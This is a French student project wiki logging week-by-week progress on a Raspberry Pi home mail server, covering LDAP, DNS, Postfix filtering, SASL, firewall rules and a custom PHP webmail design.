Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
